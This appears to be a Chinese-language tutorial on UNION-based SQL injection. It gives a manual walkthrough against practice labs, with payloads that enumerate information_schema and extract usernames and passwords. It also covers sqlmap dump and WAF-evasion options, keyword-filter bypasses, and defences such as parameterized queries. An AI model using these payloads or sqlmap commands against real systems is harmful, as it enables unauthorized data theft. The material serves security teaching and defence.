SQL注入实战:UNION注入原理、手工利用与自动化工具防御
1. 项目概述:从一次“意外”的数据泄露说起
几年前,我还在负责一个内部管理系统的安全审计。那是一个风和日丽的下午,开发同事跑过来,说后台某个查询用户列表的页面“好像有点慢,而且偶尔会报错”。我打开那个看起来平平无奇的搜索框,输入了一个单引号‘,页面直接返回了一个数据库错误,暴露了完整的SQL语句和表结构。那一刻,我心里“咯噔”一下——典型的字符型SQL注入漏洞。更深入测试后,我发现这个漏洞点恰好可以利用UNION查询,将管理员的账号密码直接“联合查询”出来。这次经历让我深刻意识到,UNION注入(UNION SQL Injection)远不是教科书里的一个概念,而是攻击者手中一把锋利且直接的“万能钥匙”,能绕过常规查询逻辑,直接从数据库中“抽取”任意数据。
所谓UNION注入,是SQL注入攻击中一种极为高效和常用的技术。它的核心在于,攻击者利用Web应用程序未对用户输入进行充分过滤的漏洞,在原始SQL查询语句中插入UNION或UNION ALL操作符,将恶意构造的查询语句“拼接”到原有查询之后一并执行。这样一来,攻击者就能突破原有查询的限制,从数据库的其他表、甚至其他数据库中查询出本无权访问的敏感信息,例如用户凭证、个人信息、交易记录等。对于安全测试人员而言,掌握UNION注入是Web安全入门的必修课;对于开发者,理解其原理则是编写安全代码、避免此类漏洞的基石。本文将从一个实战演练者的角度,彻底拆解UNION注入的每一个技术细节、攻击步骤和防御思考,无论你是刚接触安全的新手,还是想巩固知识的老兵,都能从中获得可直接复现的干货。
2. UNION注入的核心原理与前置条件剖析
要理解UNION注入,必须先吃透UNION操作符在标准SQL中的行为,这是所有攻击技巧的根基。
2.1 UNION操作符的数据库原生行为
UNION用于合并两个或多个SELECT语句的结果集。关键规则在于:
- 列数必须相同:每个
SELECT语句必须拥有相同数量的列。 - 列数据类型必须兼容:对应列的数据类型应该相似(例如,字符型对字符型,数值型对数值型),否则数据库可能会尝试隐式转换,或直接报错。
- 默认去除重复行:
UNION会自动删除结果集中的重复行。如果希望保留所有行(包括重复的),则需使用UNION ALL,通常UNION ALL执行效率更高,在注入中也更常用。
一个简单的合法例子是:
SELECT name, email FROM users WHERE id=1 UNION ALL SELECT username, password FROM admins WHERE status='active';这条语句会返回一个包含两列的结果集,第一行来自users表,后续行来自admins表。
注意:在注入中,我们通常更关心列数和列的数据类型,而不是具体列名。数据库服务器是根据列的位置(顺序)来合并结果集的。
2.2 注入点与UNION的“焊接”过程
一个存在注入漏洞的Web应用,其后端代码可能如下(以PHP为例):
$id = $_GET['id']; // 直接从用户输入获取,未过滤 $sql = "SELECT title, content FROM articles WHERE id = " . $id; $result = mysqli_query($conn, $sql);当攻击者提交id=1 UNION SELECT username, password FROM users--时,最终执行的SQL语句变为:
SELECT title, content FROM articles WHERE id = 1 UNION SELECT username, password FROM users--这里,--是SQL注释符,用于注释掉原查询中可能存在的后续内容(如LIMIT 1或另一个单引号),确保我们的UNION语句能完整执行。这个过程就像把两段不同的SQL“焊接”在了一起,让数据库一并执行。
2.3 成功实施UNION注入的三大前提
并非所有SQL注入点都能利用UNION。成功需要满足三个条件,这也是我们手工测试时需要逐步验证的:
- 注入点类型支持多语句或查询拼接:注入点必须位于一个
SELECT语句中,并且应用程序会将注入内容作为SQL语法的一部分执行,而不是当作纯数据处理。通常,能够报出数据库错误的注入点(报错注入)有很大概率支持UNION。 - 原始查询的列数可知:我们必须精确知道原始
SELECT语句查询了多少列,才能构造出列数相同的恶意UNION查询。这是UNION注入的第一步,也是关键一步。 - 至少有一列的数据类型适合回显:Web页面需要将查询结果中的某一列或某几列内容显示出来(回显点)。我们需要找到这些回显列在结果集中的位置(第几列),并且确保我们
UNION查询中对应列的数据类型能被页面正常显示(通常是字符串类型)。如果页面不回显数据,UNION注入虽然可能执行,但无法直接获取数据,需要结合其他技术(如盲注)。
3. 手工注入实战:步步为营的信息抽取
理论讲完,我们进入实战。假设我们面对一个简单的靶场环境(如Pikachu、DVWA的SQL注入关卡),其URL形如http://target.com/vul.php?id=1。下面,我将以攻击者(白帽子测试)视角,完整演示手工UNION注入的七步流程。
3.1 第一步:确认注入点与类型
首先,我们需要验证漏洞是否存在并判断其类型。
基础探测:提交
id=1,页面正常显示文章1的内容。提交id=1'(数字型加单引号),观察页面。- 如果页面报错(显示数据库错误信息),说明可能存在字符型注入。
- 如果页面显示异常(空白、与id=1不同)或报错,说明存在注入点。
- 如果页面正常,尝试
id=1"(双引号)。
类型判断:这是关键,决定了后续Payload的构造方式。
- 数字型注入:如果
id=1 AND 1=1返回正常,id=1 AND 1=2返回异常(或空白),则很可能是数字型。原始SQL可能为SELECT ... WHERE id = $id。 - 字符型注入:如果
id=1' AND '1'='1返回正常,id=1' AND '1'='2返回异常,则很可能是字符型。原始SQL可能为SELECT ... WHERE id = '$id'。字符型注入需要处理闭合引号的问题。
- 数字型注入:如果
实操心得:在测试时,我习惯先用
id=1'和id=1"快速试探。如果都报错,再尝试id=1\'(转义单引号),如果页面恢复正常,则说明是字符型且使用了反斜杠转义,存在宽字节注入等更复杂场景的可能性。第一步的准确判断能为后续节省大量时间。
3.2 第二步:确定原始查询的列数(Order By探测)
这是UNION注入的基石。我们使用ORDER BY子句来探测,因为它根据指定列索引排序,如果索引超出实际列数就会报错。
Payload序列:
id=1 ORDER BY 1-- # 正常 id=1 ORDER BY 2-- # 正常 id=1 ORDER BY 3-- # 正常 id=1 ORDER BY 4-- # 报错!说明原始查询只有3列通过递增数字,直到页面报错,报错前的那个数字就是列数。本例中,列数为3。
为什么不用UNION SELECT NULL, NULL...直接试?因为在未知列数时,盲目尝试UNION可能会因为列数不匹配而直接导致页面整体错误,不如ORDER BY探测来得稳健和精确。
3.3 第三步:寻找数据回显点
知道有3列后,我们需要确认哪几列的数据会被输出到网页上,以及它们适合显示什么类型的数据。
Payload:id=-1 UNION SELECT 1, 2, 3--
- 为什么是
id=-1?这是一个重要技巧。我们将原始查询的条件设为不可能成立的值(如-1,或一个不存在的ID),这样原查询的结果集就为空。页面显示的内容将完全来自我们UNION后面的SELECT 1,2,3。这能让我们清晰地看到数字“1”、“2”、“3”分别出现在页面的什么位置,这些位置就是可用的回显点。 - 如果页面显示了“2”和“3”,说明第2列和第3列是回显点。数字1、2、3本身是整数,但也常用于测试,因为数据库通常能将整数转换为字符串显示。
进阶测试数据类型兼容性:id=-1 UNION SELECT 'a', 'b', 'c'--将所有列替换为字符串,确保页面能正常显示字符串内容。如果某个位置显示异常,可能该列期望数值型,但在UNION时字符串通常也能被兼容。
3.4 第四步:获取数据库元信息
现在,我们可以把回显点(例如第2列)替换为我们想查询的数据库信息函数。
数据库版本:
id=-1 UNION SELECT 1, version(), 3--version():MySQL/PostgreSQL@@version或SELECT @@version:MySQL/SQL ServerSELECT sqlite_version():SQLite
当前数据库名:
id=-1 UNION SELECT 1, database(), 3--database():MySQLSELECT DB_NAME():SQL Server
当前数据库用户:
id=-1 UNION SELECT 1, user(), 3--
这些信息至关重要,它们告诉你攻击的目标是什么,以及你可能拥有什么权限。
3.5 第五步:枚举数据库与表结构
在MySQL中,元数据(所有数据库、表、列的信息)存储在名为information_schema的默认数据库中。这是UNION注入获取数据结构的核心。
列出所有数据库:
id=-1 UNION SELECT 1, schema_name, 3 FROM information_schema.schemata--这可能会返回多行结果。在Web回显中,如果页面通常只显示一行(如文章详情页),我们需要用
LIMIT子句逐条读取:id=-1 UNION SELECT 1, schema_name, 3 FROM information_schema.schemata LIMIT 0,1-- # 第一行 id=-1 UNION SELECT 1, schema_name, 3 FROM information_schema.schemata LIMIT 1,1-- # 第二行通过不断递增
LIMIT N,1中的N来遍历。关注非系统库(如mysql,information_schema,performance_schema之外)。列出指定数据库中的所有表: 假设我们找到了一个目标数据库
pikachu。id=-1 UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema='pikachu' LIMIT 0,1--同样使用
LIMIT进行遍历。寻找像users,admin,customer,password这类敏感表名。
3.6 第六步:枚举表中的列名
假设我们怀疑pikachu数据库中的users表存有凭证。
- 列出
users表的所有列:
遍历,寻找id=-1 UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_schema='pikachu' AND table_name='users' LIMIT 0,1--username,user,passwd,password,hash,email等列名。
3.7 第七步:最终一击——抽取敏感数据
现在,我们知道了数据库(pikachu)、表(users)、列(username,password)。可以构造最终查询来抽取数据。
Payload:
id=-1 UNION SELECT 1, username, password FROM pikachu.users--或者,如果当前数据库上下文已经是pikachu,可以简化为:
id=-1 UNION SELECT 1, username, password FROM users--如果页面设计只显示一行,同样需要结合LIMIT或GROUP_CONCAT()函数。
使用GROUP_CONCAT()一次性获取所有数据(MySQL): 这是一个非常高效的技术,避免频繁修改LIMIT。
id=-1 UNION SELECT 1, GROUP_CONCAT(username), GROUP_CONCAT(password) FROM users--GROUP_CONCAT()函数会将该列所有行的值用逗号连接成一个字符串返回。但要注意,结果长度受group_concat_max_len变量限制,超长会被截断。
注意事项:在实际测试中,
password字段存储的很可能不是明文,而是MD5、SHA1或bcrypt哈希值。你需要识别哈希类型(通过长度和字符集判断),然后进行破解(彩虹表、碰撞)。这属于获取数据后的后续工作,但作为测试者,发现明文存储密码是更严重的安全问题。
4. 高级技巧与场景化Payload构造
掌握了基本流程后,一些复杂场景和技巧能让你如虎添翼。
4.1 处理复杂的查询闭合与注释
字符型注入的闭合:如果原始查询是
SELECT ... WHERE id='$id',我们的Payload需要先闭合前面的引号。- Payload模板:
-1' UNION SELECT 1,2,3--+ - 解释:
-1'使原查询变为WHERE id='-1',我们添加的单引号闭合了字符串。--+(或#)用于注释掉原查询末尾可能存在的另一个单引号。+在URL中代表空格,确保注释符生效。
- Payload模板:
多种注释符:
--(注意后面有个空格):SQL标准注释符,在MySQL、PostgreSQL、SQL Server中常用。#:MySQL的注释符。/* */:多行注释,可用于绕过某些简单的空格过滤(如UNION/*123*/SELECT)。
4.2 数据类型不匹配的处理
有时,UNION查询的对应列数据类型必须严格匹配。例如,原查询第一列是整数,我们UNION的第一列也必须是整数或可转换为整数的值。
技巧:使用NULL。NULL可以匹配任何数据类型。
id=-1 UNION SELECT NULL, NULL, NULL-- # 先测试列数 id=-1 UNION SELECT NULL, version(), NULL-- # 仅在有回显的列放置函数如果version()在整数列回显异常,可以尝试用CAST()或转换函数:id=-1 UNION SELECT 1, CAST(@@version AS CHAR), 3--
4.3 在有限回显下的信息获取
有时,页面只有一个回显点(如只显示文章标题)。我们可以利用字符串连接函数将多条信息合并到一列输出。
- MySQL:
CONCAT(username, ':', password)id=-1 UNION SELECT 1, CONCAT(username, '---', password), 3 FROM users-- - SQL Server:
username + ':' + password - Oracle:
username || ':' || password - PostgreSQL:
username || ':' || password
结合GROUP_CONCAT()(MySQL)或STRING_AGG()(PostgreSQL/SQL Server 2017+),可以一次性获取所有行的连接值。
4.4 UNION注入与SQLite、Access等数据库
SQLite:没有
information_schema。获取表名需要查询sqlite_master表:UNION SELECT 1, name, 3 FROM sqlite_master WHERE type='table'--获取列名相对困难,可能需要通过错误消息或盲注来推测。对于“sqlite limit 1可以用union吗”这个问题,答案是可以。
LIMIT子句作用于整个UNION查询的结果集。例如:SELECT a FROM table1 UNION SELECT b FROM table2 LIMIT 1;会从合并后的结果中返回第一行。Microsoft Access:属于文件型数据库,没有系统表查询的标准SQL方式。通常需要暴力猜解表名和列名,或利用已知的常见表结构。
5. 自动化工具辅助:Sqlmap在UNION注入中的运用
手工注入是理解原理的最佳方式,但在时间紧迫或面对复杂过滤时,自动化工具如Sqlmap能极大提升效率。它本质上自动化了我们上面手工做的所有步骤。
针对一个疑似注入点的基础检测命令:
sqlmap -u "http://target.com/vul.php?id=1" --batch--batch参数会让Sqlmap以非交互模式运行,自动选择默认选项。
当Sqlmap检测到注入点并确认为UNION注入时,我们可以进一步:
- 枚举当前数据库:
sqlmap -u "http://target.com/vul.php?id=1" --current-db - 枚举指定数据库的所有表:
sqlmap -u "http://target.com/vul.php?id=1" -D pikachu --tables - 枚举指定表的所有列:
sqlmap -u "http://target.com/vul.php?id=1" -D pikachu -T users --columns - dump(导出)指定列的数据:
sqlmap -u "http://target.com/vul.php?id=1" -D pikachu -T users -C username,password --dump
Sqlmap的高级技巧:
- 指定注入技术:如果Sqlmap自动检测不准确,可以强制使用
UNION查询技术:--technique=U - 处理复杂过滤:如果遇到WAF或过滤,可以尝试调整载荷级别和风险级别:
--level=3 --risk=3。Level越高,测试的Payload越多越复杂;Risk越高,测试的风险操作(如INSERT)越多。 - 使用代理观察:
--proxy="http://127.0.0.1:8080"可以将Sqlmap的流量导入到Burp Suite等代理中,方便我们观察其Payload构造和学习。
实操心得:不要过度依赖工具。我建议的流程是:先用手工方法确认漏洞、理解上下文,再用Sqlmap进行大规模的数据枚举。这样既能锻炼基本功,又能提高效率。同时,永远在授权环境下测试。
6. 从攻击到防御:根治UNION注入的编码实践
理解了攻击,防御就有了清晰的靶子。防御UNION注入的核心原则是:永远不要将用户输入直接拼接为SQL语句。
6.1 首选方案:参数化查询(预编译语句)
这是最有效、最根本的防御手段。它让SQL语句的“结构”和“数据”分离。
以PHP PDO为例:
// 1. 连接数据库 $pdo = new PDO($dsn, $user, $pass); // 2. 准备SQL语句结构,用占位符(?)表示数据位置 $stmt = $pdo->prepare("SELECT title, content FROM articles WHERE id = ?"); // 3. 将用户输入的数据($id)绑定到占位符上 $stmt->execute([$id]); // 4. 获取结果 $result = $stmt->fetchAll();在这个过程中,数据库引擎先编译SELECT ... WHERE id = ?这个语句模板。无论后续传入的$id是什么值(即使是1 UNION SELECT ...),它都只会被当作一个纯粹的“数据”值(比如字符串"1 UNION SELECT ...")去匹配id字段,而不会被重新解释为SQL语法的一部分。UNION、SELECT等关键字在这里失去了命令的意义。
Java(PreparedStatement)、Python(sqlite3, psycopg2)、.NET(SqlParameter)等所有主流语言和框架都支持此方式。
6.2 严格输入验证与过滤
参数化查询是黄金法则,但在某些遗留代码或复杂场景下,可能还需辅助其他措施。
白名单验证:对于已知有限集合的输入(如分类category、状态status),使用白名单。
$allowed_categories = ['news', 'blog', 'tutorial']; if (!in_array($_GET['category'], $allowed_categories)) { $category = 'news'; // 赋予安全默认值 } else { $category = $_GET['category']; }类型强制转换:对于明确是数字型的输入(如ID),在拼接前强制转换为整数。
$id = (int)$_GET['id']; // 非数字字符会被转换为0或截断 $sql = "SELECT ... WHERE id = " . $id;注意:这只能防御数字型注入,且要小心转换逻辑。
转义函数(谨慎使用):如MySQL的
mysqli_real_escape_string()。它会对特殊字符(如单引号)进行转义,使其变成普通字符。但它的使用必须结合正确的引号包裹,且容易因忘记引号或字符集问题(宽字节注入)而失效。它不应作为主要防御手段,而是参数化查询不可用时的最后补充。
6.3 最小权限原则与纵深防御
- 数据库账户权限限制:Web应用连接数据库的账户,不应拥有
DROP、CREATE TABLE、FILE等高危权限。最好只赋予其特定库的SELECT、INSERT、UPDATE、DELETE权限。这样即使发生注入,危害也被限制在特定范围。 - Web应用错误处理:禁止向用户显示详细的数据库错误信息。应使用自定义的通用错误页面,避免泄露数据库类型、表结构等线索。
- Web应用防火墙(WAF):在网络边界或应用层部署WAF,可以识别并阻断常见的SQL注入攻击模式。但WAF是缓解措施,不能替代安全的代码。
7. 常见问题与排查技巧实录
在实际测试和防御中,你会遇到各种“坑”。这里记录一些典型问题和解决思路。
7.1 手工注入时页面无回显怎么办?
如果提交UNION SELECT 1,2,3后,页面没有显示数字“1,2,3”,可能有以下情况:
- 注入点非回显型(盲注):页面不会直接输出查询结果,但会根据查询结果的真假(布尔盲注)或返回时间(时间盲注)表现出差异。此时
UNION注入可能不适用,需要转向布尔盲注或时间盲注技术。 - 回显位置不在主页面:数据可能被输出到HTML注释、JavaScript变量、HTTP响应头或页面的某个隐藏标签中。查看网页源代码。
- 列数据类型不兼容导致显示空白:尝试将
UNION后的所有列都换成NULL或字符串‘a’。 - 有额外的
LIMIT子句:原查询可能有LIMIT 1,导致UNION后的结果被截断。尝试用id=-1使原查询结果为空,或者研究如何注释掉LIMIT。
7.2 使用Sqlmap检测不出注入点?
- 检查是否存在Token或动态参数:有些网站每次请求需要携带CSRF Token或会话ID。使用
--cookie或--data参数提交。 - 目标有较强的WAF:使用
--random-agent随机化User-Agent,使用--delay设置请求延迟,使用--tamper脚本对Payload进行混淆(如space2comment,将空格替换为注释)。 - 注入点非常规:注入点可能在
Cookie、HTTP Header(如X-Forwarded-For)或POST数据的JSON部分。Sqlmap支持用-H、--cookie、--data指定这些位置。 - 确认漏洞真实存在:回归手工测试,用最简单的方式(如单引号)验证。
7.3 遇到过滤了UNION、SELECT等关键词怎么办?
- 大小写变形:
UnIoN SeLeCt(某些简单的过滤可能只匹配全小写)。 - 双写绕过:
UNIUNIONON SELSELECTECT(如果过滤方式是删除关键词,删除中间的UNION后剩下的部分又组成了UNION)。 - 内联注释绕过(MySQL):
/*!UNION*/ /*!SELECT*/ 1,2,3。/*!...*/在MySQL中会被执行。 - 使用等价函数或语法:如果
SELECT被过滤,看是否能使用HANDLER(MySQL)等替代语法,但这在注入中不常见。更可能的是需要转向基于错误或基于时间的盲注,它们对关键词的依赖和暴露程度不同。
7.4 防御代码写了参数化查询,为什么还有漏洞?
- 错误的使用方式:错误地使用了字符串拼接后再交给
prepare。// 错误!拼接仍在PHP层面完成,预编译失去意义 $sql = "SELECT * FROM users WHERE id = " . $id; $stmt = $pdo->prepare($sql); // 这里prepare的已经是拼接好的语句 - 使用了“模拟预处理”:某些数据库驱动(如旧版PDO with MySQL)默认使用“模拟预处理”(emulated prepares),它是在客户端进行参数转义,而非真正的数据库端预编译。在某些边缘情况下可能存在风险。应确保启用真正的预编译(如PDO中设置
PDO::ATTR_EMULATE_PREPARES => false)。 - 动态表名/列名:参数化查询的占位符不能用于表名、列名等SQL标识符。如果这些来自用户输入,必须使用白名单严格校验。
手工UNION注入的每一步都像是在和数据库进行一场精密的对话,你需要理解它的语法规则,并巧妙地引导它说出秘密。从确认注入点到最终拖出数据,这个过程充满了逻辑的趣味性。而防御的本质,就是让这种“对话”变得规范、刻板,不给攻击者任何曲解语义的机会。参数化查询正是这样一把锁,它严格区分了指令和数据。在构建或审查任何涉及数据库交互的功能时,把“使用参数化查询”作为一条不可逾越的红线,是杜绝SQL注入最有效、最省心的做法。
